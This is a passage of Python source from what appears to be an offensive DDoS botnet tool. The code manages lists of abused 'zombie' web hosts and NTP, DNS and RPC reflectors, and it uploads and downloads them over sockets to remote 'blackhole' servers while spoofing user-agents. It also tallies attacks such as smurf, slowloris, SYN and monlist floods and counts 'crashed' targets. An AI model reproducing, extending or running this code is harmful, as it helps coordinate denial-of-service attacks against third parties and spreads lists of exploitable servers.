  1211. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1212. return
  1213. # upload list of [Zombies] to Community server [20/01/2020 OK!]
  1214. if options.upload:
  1215. try:
  1216. self.banner()
  1217. if options.upip is not None:
  1218. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  1219. else:
  1220. print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")
  1221. print('='*22 + '\n')
  1222. upload_list = self.uploading_list()
  1223. except Exception as e:
  1224. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1225. if DEBUG == True:
  1226. traceback.print_exc()
  1227. return #sys.exit(2)
  1228. # download list of [Zombies] from GitHub server [20/01/2020 OK!]
  1229. if options.download_github:
  1230. try:
  1231. self.banner()
  1232. print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")
  1233. print('='*22 + '\n')
  1234. download_github_list = self.downloading_github_list()
  1235. except Exception as e:
  1236. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1237. return
  1238. # upload list of [Zombies] to GitHub server [20/01/2020 OK!]
  1239. if options.upload_github:
  1240. try:
  1241. self.banner()
  1242. print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")
  1243. print('='*22 + '\n')
  1244. upload_github_list = self.uploading_github_list()
  1245. except Exception as e:
  1246. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1247. if DEBUG == True:
  1248. traceback.print_exc()
  1249. return #sys.exit(2)
  1250. # starting new zombie thread
  1251. def connect_zombies(self, zombie):
  1252. z=Zombie(self, zombie)
  1253. t = threading.Thread(target=z.connect, name=zombie)
  1254. t.start()
  1255. # single connection handling
  1256. def connect_zombie(self, zombie):
  1257. z=Zombie(self,zombie)
  1258. return z.connect()
  1259. def extract_proxy(self, proxy):
  1260. sep = ":"
  1261. proxy_ip = proxy.rsplit(sep, 1)[0]
  1262. if proxy_ip.startswith('http://'):
  1263. proxy_ip = proxy_ip.replace('http://', '')
  1264. elif proxy_ip.startswith('https://'):
  1265. proxy_ip = proxy_ip.replace('https://', '')
  1266. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1267. proxy_ip = 'localhost'
  1268. proxy_port = proxy.rsplit(sep, 1)[1]
  1269. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1270. return proxy_url
  1271. def proxy_transport(self, proxy):
  1272. proxy_url = self.extract_proxy(proxy)
  1273. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  1274. opener = urllib.request.build_opener(proxy)
  1275. urllib.request.install_opener(opener)
  1276. def check_mothership_chargo(self):
  1277. f = open(self.zombies_file)
  1278. self.zombies = f.readlines()
  1279. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1280. self.list_zombies = []
  1281. for zombie in self.zombies:
  1282. t = urlparse(zombie)
  1283. name_zombie = t.netloc
  1284. if name_zombie == "":
  1285. name_zombie = zombie
  1286. self.list_zombies.append(name_zombie)
  1287. self.num_zombies = str(len(self.zombies))
  1288. f.close()
  1289. f = open(self.aliens_file)
  1290. self.aliens = f.readlines()
  1291. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1292. self.list_aliens = []
  1293. for alien in self.aliens:
  1294. t = urlparse(alien)
  1295. name_alien = t.netloc
  1296. if name_alien == "":
  1297. name_alien = alien
  1298. self.list_aliens.append(name_alien)
  1299. self.num_aliens = str(len(self.aliens))
  1300. f.close()
  1301. f = open(self.droids_file)
  1302. self.droids = f.readlines()
  1303. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1304. self.list_droids = []
  1305. for droid in self.droids:
  1306. t = urlparse(droid)
  1307. name_droid = t.netloc
  1308. if name_droid == "":
  1309. name_droid = droid
  1310. self.list_droids.append(name_droid)
  1311. self.num_droids = str(len(self.droids))
  1312. f.close()
  1313. f = open(self.ucavs_file)
  1314. self.ucavs = f.readlines()
  1315. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1316. self.list_ucavs = []
  1317. for ucav in self.ucavs:
  1318. t = urlparse(ucav)
  1319. name_ucav = t.netloc
  1320. if name_ucav == "":
  1321. name_ucav = ucav
  1322. self.list_ucavs.append(name_ucav)
  1323. self.num_ucavs = str(len(self.ucavs))
  1324. f.close()
  1325. f = open(self.rpcs_file)
  1326. self.rpcs = f.readlines()
  1327. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1328. self.list_rpcs = []
  1329. for rpc in self.rpcs:
  1330. t = urlparse(rpc)
  1331. name_rpc = t.netloc
  1332. if name_rpc == "":
  1333. name_rpc = rpc
  1334. self.list_rpcs.append(name_rpc)
  1335. self.num_rpcs = str(len(self.rpcs))
  1336. f.close()
  1337. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1338. return self.total_botnet
  1339. def update_flying_stats(self):
  1340. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1341. with open(self.mothership_stats_file, "w") as f:
  1342. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "crashed": "0"}, f, indent=4) # starting reset
  1343. stats_json_file = open(self.mothership_stats_file, "r")
  1344. data = json.load(stats_json_file)
  1345. stats_json_file.close()
  1346. aflying = data["flying"]
  1347. aflying = str(int(aflying) + 1) # add new flying time
  1348. data["flying"] = aflying
  1349. stats_json_file = open(self.mothership_stats_file, "w+")
  1350. stats_json_file.write(json.dumps(data))
  1351. stats_json_file.close()
  1352. def update_mothership_stats(self):
  1353. stats_json_file = open(self.mothership_stats_file, "r")
  1354. data = json.load(stats_json_file)
  1355. stats_json_file.close()
  1356. acompleted = data["completed"]
  1357. acompleted = str(int(acompleted) + 1) # add new completed attack
  1358. data["completed"] = acompleted
  1359. stats_json_file = open(self.mothership_stats_file, "w+")
  1360. stats_json_file.write(json.dumps(data))
  1361. stats_json_file.close()
  1362. def update_targets_crashed(self):
  1363. stats_json_file = open(self.mothership_stats_file, "r")
  1364. data = json.load(stats_json_file)
  1365. stats_json_file.close()
  1366. tcrashed = data["crashed"]
  1367. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1368. data["crashed"] = tcrashed
  1369. stats_json_file = open(self.mothership_stats_file, "w+")
  1370. stats_json_file.write(json.dumps(data))
  1371. stats_json_file.close()
  1372. def update_missions_stats(self):
  1373. stats_json_file = open(self.mothership_stats_file, "r")
  1374. data = json.load(stats_json_file)
  1375. stats_json_file.close()
  1376. missions = data["missions"]
  1377. missions = str(int(missions) + 1) # add new mission target
  1378. data["missions"] = missions
  1379. stats_json_file = open(self.mothership_stats_file, "w+")
  1380. stats_json_file.write(json.dumps(data))
  1381. stats_json_file.close()
  1382. def update_scanner_stats(self, num):
  1383. stats_json_file = open(self.mothership_stats_file, "r")
  1384. data = json.load(stats_json_file)
  1385. stats_json_file.close()
  1386. scanner = data["scanner"]
  1387. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1388. data["scanner"] = scanner
  1389. stats_json_file = open(self.mothership_stats_file, "w+")
  1390. stats_json_file.write(json.dumps(data))
  1391. stats_json_file.close()
  1392. def update_transferred_stats(self, num):
  1393. stats_json_file = open(self.mothership_stats_file, "r")
  1394. data = json.load(stats_json_file)
  1395. stats_json_file.close()
  1396. transferred = data["transferred"]
  1397. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1398. data["transferred"] = transferred
  1399. stats_json_file = open(self.mothership_stats_file, "w+")
  1400. stats_json_file.write(json.dumps(data))
  1401. stats_json_file.close()
  1402. def update_max_chargo(self, chargo):
  1403. stats_json_file = open(self.mothership_stats_file, "r")
  1404. data = json.load(stats_json_file)
  1405. stats_json_file.close()
  1406. amax_chargo = data["max_chargo"]
  1407. if int(chargo) > int(amax_chargo): # new max chargo found
  1408. amax_chargo = chargo # add new max chargo
  1409. else:
  1410. amax_chargo = data["max_chargo"]
  1411. data["max_chargo"] = amax_chargo
  1412. stats_json_file = open(self.mothership_stats_file, "w+")
  1413. stats_json_file.write(json.dumps(data))
  1414. stats_json_file.close()
  1415. def update_loic_stats(self):
  1416. stats_json_file = open(self.mothership_stats_file, "r")
  1417. data = json.load(stats_json_file)
  1418. stats_json_file.close()
  1419. aloic = data["loic"]
  1420. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1421. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1422. data["loic"] = aloic
  1423. stats_json_file = open(self.mothership_stats_file, "w+")
  1424. stats_json_file.write(json.dumps(data))
  1425. stats_json_file.close()
  1426. def update_loris_stats(self):
  1427. stats_json_file = open(self.mothership_stats_file, "r")
  1428. data = json.load(stats_json_file)
  1429. stats_json_file.close()
  1430. aloris = data["loris"]
  1431. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1432. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1433. data["loris"] = aloris
  1434. stats_json_file = open(self.mothership_stats_file, "w+")
  1435. stats_json_file.write(json.dumps(data))
  1436. stats_json_file.close()
  1437. def update_ufosyn_stats(self):
  1438. stats_json_file = open(self.mothership_stats_file, "r")
  1439. data = json.load(stats_json_file)
  1440. stats_json_file.close()
  1441. aufosyn = data["ufosyn"]
  1442. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1443. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1444. data["ufosyn"] = aufosyn
  1445. stats_json_file = open(self.mothership_stats_file, "w+")
  1446. stats_json_file.write(json.dumps(data))
  1447. stats_json_file.close()
  1448. def update_spray_stats(self):
  1449. stats_json_file = open(self.mothership_stats_file, "r")
  1450. data = json.load(stats_json_file)
  1451. stats_json_file.close()
  1452. aspray = data["spray"]
  1453. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1454. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1455. data["spray"] = aspray
  1456. stats_json_file = open(self.mothership_stats_file, "w+")
  1457. stats_json_file.write(json.dumps(data))
  1458. stats_json_file.close()
  1459. def update_smurf_stats(self):
  1460. stats_json_file = open(self.mothership_stats_file, "r")
  1461. data = json.load(stats_json_file)
  1462. stats_json_file.close()
  1463. asmurf = data["smurf"]
  1464. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1465. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1466. data["smurf"] = asmurf
  1467. stats_json_file = open(self.mothership_stats_file, "w+")
  1468. stats_json_file.write(json.dumps(data))
  1469. stats_json_file.close()
  1470. def update_xmas_stats(self):
  1471. stats_json_file = open(self.mothership_stats_file, "r")
  1472. data = json.load(stats_json_file)
  1473. stats_json_file.close()
  1474. axmas = data["xmas"]
  1475. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1476. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1477. data["xmas"] = axmas
  1478. stats_json_file = open(self.mothership_stats_file, "w+")
  1479. stats_json_file.write(json.dumps(data))
  1480. stats_json_file.close()
  1481. def update_nuke_stats(self):
  1482. stats_json_file = open(self.mothership_stats_file, "r")
  1483. data = json.load(stats_json_file)
  1484. stats_json_file.close()
  1485. anuke = data["nuke"]
  1486. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  1487. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  1488. data["nuke"] = anuke
  1489. stats_json_file = open(self.mothership_stats_file, "w+")
  1490. stats_json_file.write(json.dumps(data))
  1491. stats_json_file.close()
  1492. def update_tachyon_stats(self):
  1493. stats_json_file = open(self.mothership_stats_file, "r")
  1494. data = json.load(stats_json_file)
  1495. stats_json_file.close()
  1496. atachyon = data["tachyon"]
  1497. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  1498. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  1499. data["tachyon"] = atachyon
  1500. stats_json_file = open(self.mothership_stats_file, "w+")
  1501. stats_json_file.write(json.dumps(data))
  1502. stats_json_file.close()
  1503. def update_monlist_stats(self):
  1504. stats_json_file = open(self.mothership_stats_file, "r")
  1505. data = json.load(stats_json_file)
  1506. stats_json_file.close()
  1507. amonlist = data["monlist"]
  1508. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  1509. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  1510. data["monlist"] = amonlist
  1511. stats_json_file = open(self.mothership_stats_file, "w+")
  1512. stats_json_file.write(json.dumps(data))
  1513. stats_json_file.close()
  1514. def uploading_list(self):
  1515. from io import BytesIO
  1516. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1517. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1518. abductions = "botnet/abductions.txt.gz"
  1519. troops = "botnet/troops.txt.gz"
  1520. robots = "botnet/robots.txt.gz"
  1521. drones = "botnet/drones.txt.gz"
  1522. reflectors = "botnet/reflectors.txt.gz"
  1523. crystals = "botnet/crystals.txt.gz"
  1524. warps = "botnet/warps.txt.gz"
  1525. if self.options.timeout: # set timeout
  1526. try:
  1527. timeout = int(self.options.timeout)
  1528. except:
  1529. timeout = 5
  1530. else:
  1531. timeout = 5
  1532. if timeout < 1:
  1533. timeout = 5
  1534. try:
  1535. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
  1536. if self.options.forcessl:
  1537. if self.options.proxy: # set proxy
  1538. self.proxy_transport(options.proxy)
  1539. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1540. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1541. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1542. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1543. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1544. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1545. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1546. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1547. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1548. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1549. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1550. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1551. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1552. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1553. else:
  1554. if self.options.proxy: # set proxy
  1555. self.proxy_transport(options.proxy)
  1556. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1557. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1558. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1559. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1560. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1561. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1562. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1563. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1564. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1565. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1566. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1567. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1568. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1569. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1570. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":
  1571. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  1572. print('-'*12 + '\n')
  1573. print("[Error] [AI] Unable to uploading list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  1574. return
  1575. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  1576. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  1577. f_out_abductions = open('botnet/abductions.txt', 'wb')
  1578. f_out_abductions.write(f_in_abductions.read())
  1579. f_in_abductions.close()
  1580. f_out_abductions.close()
  1581. num_zombies = 0
  1582. with open('botnet/abductions.txt') as f:
  1583. for _ in f:
  1584. num_zombies = num_zombies + 1
  1585. print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies))
  1586. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  1587. f_out_robots = open('botnet/robots.txt', 'wb')
  1588. f_out_robots.write(f_in_robots.read())
  1589. f_in_robots.close()
  1590. f_out_robots.close()
  1591. num_robots = 0
  1592. with open('botnet/robots.txt') as f:
  1593. for _ in f:
  1594. num_robots = num_robots + 1
  1595. print("[Info] [Droids] on [Blackhole] : "+ str(num_robots))
  1596. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  1597. f_out_troops = open('botnet/troops.txt', 'wb')
  1598. f_out_troops.write(f_in_troops.read())
  1599. f_in_troops.close()
  1600. f_out_troops.close()
  1601. num_aliens = 0
  1602. with open('botnet/aliens.txt') as f:
  1603. for _ in f:
  1604. num_aliens = num_aliens + 1
  1605. print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens))
  1606. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  1607. f_out_drones = open('botnet/drones.txt', 'wb')
  1608. f_out_drones.write(f_in_drones.read())
  1609. f_in_drones.close()
  1610. f_out_drones.close()
  1611. num_drones = 0
  1612. with open('botnet/drones.txt') as f:
  1613. for _ in f:
  1614. num_drones = num_drones + 1
  1615. print("[Info] [UCAVs] on [Blackhole] : "+ str(num_drones))
  1616. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  1617. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  1618. f_out_reflectors.write(f_in_reflectors.read())
  1619. f_in_reflectors.close()
  1620. f_out_reflectors.close()
  1621. num_reflectors = 0
  1622. with open('botnet/reflectors.txt') as f:
  1623. for _ in f:
  1624. num_reflectors = num_reflectors + 1
  1625. print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors))
  1626. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  1627. f_out_crystals = open('botnet/crystals.txt', 'wb')
  1628. f_out_crystals.write(f_in_crystals.read())
  1629. f_in_crystals.close()
  1630. f_out_crystals.close()
  1631. num_crystals = 0
  1632. with open('botnet/crystals.txt') as f:
  1633. for _ in f:
  1634. num_crystals = num_crystals + 1
  1635. print("[Info] [NTPs] on [Blackhole] : "+ str(num_crystals))
  1636. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  1637. f_out_warps = open('botnet/warps.txt', 'wb')
  1638. f_out_warps.write(f_in_warps.read())
  1639. f_in_warps.close()
  1640. f_out_warps.close()
  1641. num_warps = 0
  1642. with open('botnet/warps.txt') as f:
  1643. for _ in f:
  1644. num_warps = num_warps + 1
  1645. print("[Info] [DNSs] on [Blackhole] : "+ str(num_warps))
  1646. print('-'*12 + '\n')
  1647. if not self.options.forceyes:
  1648. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  1649. print('-'*25)
  1650. else:
  1651. update_reply = "Y"
  1652. if update_reply == "n" or update_reply == "N":
  1653. os.remove('botnet/abductions.txt') # remove abductions file
  1654. os.remove('botnet/troops.txt') # remove troops file
  1655. os.remove('botnet/robots.txt') # remove robots file
  1656. os.remove('botnet/drones.txt') # remove drones file
  1657. os.remove('botnet/reflectors.txt') # remove reflectors file
  1658. os.remove('botnet/crystals.txt') # remove crystals file
  1659. os.remove('botnet/warps.txt') # remove warps file
  1660. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  1661. return
  1662. else:
  1663. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  1664. print('='*35)
  1665. zombies = self.extract_zombies()
  1666. if not zombies:
  1667. return
  1668. test = self.testing(zombies)
  1669. zombies_community = []
  1670. zombies_added = 0
  1671. f = open('botnet/abductions.txt')
  1672. abductions = f.readlines()
  1673. abductions = [abduction.strip() for abduction in abductions]
  1674. f.close()
  1675. fz = open(self.zombies_file)
  1676. zombies = fz.readlines()
  1677. zombies = [zombie.strip() for zombie in zombies]
  1678. fz.close()
  1679. for zombie in zombies:
  1680. if zombie not in abductions:
  1681. zombies_community.append(zombie)
  1682. zombies_added = zombies_added + 1
  1683. else:
  1684. pass
  1685. print("[Info] [AI] New [Zombies] found: " + str(zombies_added))
  1686. aliens = self.extract_aliens()
  1687. if not aliens:
  1688. return
  1689. aliens_community = []
  1690. aliens_added = 0
  1691. f = open('botnet/troops.txt')
  1692. troops = f.readlines()
  1693. troops = [troop.strip() for troop in troops]
  1694. f.close()
  1695. fz = open(self.aliens_file)
  1696. aliens = fz.readlines()
  1697. aliens = [alien.strip() for alien in aliens]
  1698. fz.close()
  1699. for alien in aliens:
  1700. if alien not in troops:
  1701. aliens_community.append(alien)
  1702. aliens_added = aliens_added + 1
  1703. else:
  1704. pass
  1705. print("[Info] [AI] New [Aliens] found : " + str(aliens_added))
  1706. droids = self.extract_droids()
  1707. if not droids:
  1708. return
  1709. droids_community = []
  1710. droids_added = 0
  1711. f = open('botnet/robots.txt')
  1712. robots = f.readlines()
  1713. robots = [robot.strip() for robot in robots]
  1714. f.close()
  1715. fz = open(self.droids_file)
  1716. droids = fz.readlines()
  1717. droids = [droid.strip() for droid in droids]
  1718. fz.close()
  1719. for droid in droids:
  1720. if droid not in robots:
  1721. droids_community.append(droid)
  1722. droids_added = droids_added + 1
  1723. else:
  1724. pass
  1725. print("[Info] [AI] New [Droids] found : " + str(droids_added))
  1726. ucavs = self.extract_ucavs()
  1727. if not ucavs:
  1728. return
  1729. ucavs_community = []
  1730. ucavs_added = 0
  1731. f = open('botnet/drones.txt')
  1732. drones = f.readlines()
  1733. drones = [drone.strip() for drone in drones]
  1734. f.close()
  1735. fz = open(self.ucavs_file)
  1736. ucavs = fz.readlines()
  1737. ucavs = [ucav.strip() for ucav in ucavs]
  1738. fz.close()
  1739. for ucav in ucavs:
  1740. if ucav not in drones:
  1741. ucavs_community.append(ucav)
  1742. ucavs_added = ucavs_added + 1
  1743. else:
  1744. pass
  1745. print("[Info] [AI] New [UCAVs] found : " + str(ucavs_added))
  1746. rpcs = self.extract_rpcs()
  1747. if not rpcs:
  1748. return
  1749. rpcs_community = []
  1750. rpcs_added = 0
  1751. f = open('botnet/reflectors.txt')
  1752. reflectors = f.readlines()
  1753. reflectors = [reflector.strip() for reflector in reflectors]
  1754. f.close()
  1755. fz = open(self.rpcs_file)
  1756. rpcs = fz.readlines()
  1757. rpcs = [rpc.strip() for rpc in rpcs]
  1758. fz.close()
  1759. for rpc in rpcs:
  1760. if rpc not in reflectors:
  1761. rpcs_community.append(rpc)
  1762. rpcs_added = rpcs_added + 1
  1763. else:
  1764. pass
  1765. print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added))
  1766. ntps = self.extract_ntps()
  1767. if not ntps:
  1768. return
  1769. ntps_community = []
  1770. ntps_added = 0
  1771. f = open('botnet/crystals.txt')
  1772. crystals = f.readlines()
  1773. crystals = [crystal.strip() for crystal in crystals]
  1774. f.close()
  1775. fz = open(self.ntps_file)
  1776. ntps = fz.readlines()
  1777. ntps = [ntp.strip() for ntp in ntps]
  1778. fz.close()
  1779. for ntp in ntps:
  1780. if ntp not in crystals:
  1781. ntps_community.append(ntp)
  1782. ntps_added = ntps_added + 1
  1783. else:
  1784. pass
  1785. print("[Info] [AI] New [NTPs] found : " + str(ntps_added))
  1786. dnss = self.extract_dnss()
  1787. if not dnss:
  1788. return
  1789. dnss_community = []
  1790. dnss_added = 0
  1791. f = open('botnet/warps.txt')
  1792. warps = f.readlines()
  1793. warps = [warp.strip() for warp in warps]
  1794. f.close()
  1795. fz = open(self.dnss_file)
  1796. dnss = fz.readlines()
  1797. dnss = [dns.strip() for dns in dnss]
  1798. fz.close()
  1799. for dns in dnss:
  1800. if dns not in warps:
  1801. dnss_community.append(dns)
  1802. dnss_added = dnss_added + 1
  1803. else:
  1804. pass
  1805. print("[Info] [AI] New [DNSs] found : " + str(dnss_added))
  1806. print('-'*12 + '\n')
  1807. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0: # not any zombie
  1808. os.remove('botnet/abductions.txt') # remove abductions file
  1809. os.remove('botnet/troops.txt') # remove troops file
  1810. os.remove('botnet/robots.txt') # remove robots file
  1811. os.remove('botnet/drones.txt') # remove ucavs file
  1812. os.remove('botnet/reflectors.txt') # remove rpcs file
  1813. os.remove('botnet/crystals.txt') # remove crystals file
  1814. os.remove('botnet/warps.txt') # remove warps file
  1815. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  1816. return
  1817. else:
  1818. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  1819. for zombie in zombies_community:
  1820. fc.write(zombie.strip()+"\n")
  1821. fc.close()
  1822. os.remove('botnet/abductions.txt') # remove abductions file
  1823. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  1824. for alien in aliens_community:
  1825. fc.write(alien.strip()+"\n")
  1826. fc.close()
  1827. os.remove('botnet/troops.txt') # remove troops file
  1828. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  1829. for droid in droids_community:
  1830. fc.write(droid.strip()+"\n")
  1831. fc.close()
  1832. os.remove('botnet/robots.txt') # remove robots file
  1833. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  1834. for ucav in ucavs_community:
  1835. fc.write(ucav.strip()+"\n")
  1836. fc.close()
  1837. os.remove('botnet/drones.txt') # remove drones file
  1838. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  1839. for rpc in rpcs_community:
  1840. fc.write(rpc.strip()+"\n")
  1841. fc.close()
  1842. os.remove('botnet/reflectors.txt') # remove reflectors file
  1843. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  1844. for ntp in ntps_community:
  1845. fc.write(ntp.strip()+"\n")
  1846. fc.close()
  1847. os.remove('botnet/crystals.txt') # remove crystals file
  1848. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  1849. for dns in dnss_community:
  1850. fc.write(dns.strip()+"\n")
  1851. fc.close()
  1852. os.remove('botnet/warps.txt') # remove warps file
  1853. print("[Info] [AI] Starting to upload new [Zombies]...\n")
  1854. try: # open a socket and send data to the blackhole reciever port
  1855. host = self.blackhole
  1856. cport = 9991
  1857. mport = 9990
  1858. try:
  1859. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  1860. cs.connect(host, cport)
  1861. cs.send("SEND " + 'community_zombies.txt.gz')
  1862. cs.close()
  1863. f = open('botnet/community_zombies.txt.gz', "rb")
  1864. data = f.read()
  1865. f.close()
  1866. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1867. ms.connect(host, mport)
  1868. ms.send(data)
  1869. ms.close()
  1870. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  1871. time.sleep(1)
  1872. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1873. cs.connect(host, cport)
  1874. cs.send("SEND " + 'community_aliens.txt.gz')
  1875. cs.close()
  1876. f = open('botnet/community_aliens.txt.gz', "rb")
  1877. data = f.read()
  1878. f.close()
  1879. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1880. ms.connect(host, mport)
  1881. ms.send(data)
  1882. ms.close()
  1883. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  1884. time.sleep(1)
  1885. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1886. cs.connect(host, cport)
  1887. cs.send("SEND " + 'community_robots.txt.gz')
  1888. cs.close()
  1889. f = open('botnet/community_droids.txt.gz', "rb")
  1890. data = f.read()
  1891. f.close()
  1892. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1893. ms.connect(host, mport)
  1894. ms.send(data)
  1895. ms.close()
  1896. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  1897. time.sleep(1)
  1898. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1899. cs.connect(host, cport)
  1900. cs.send("SEND " + 'community_ucavs.txt.gz')
  1901. cs.close()
  1902. f = open('botnet/community_ucavs.txt.gz', "rb")
  1903. data = f.read()
  1904. f.close()
  1905. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1906. ms.connect(host, mport)
  1907. ms.send(data)
  1908. ms.close()
  1909. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  1910. time.sleep(1)
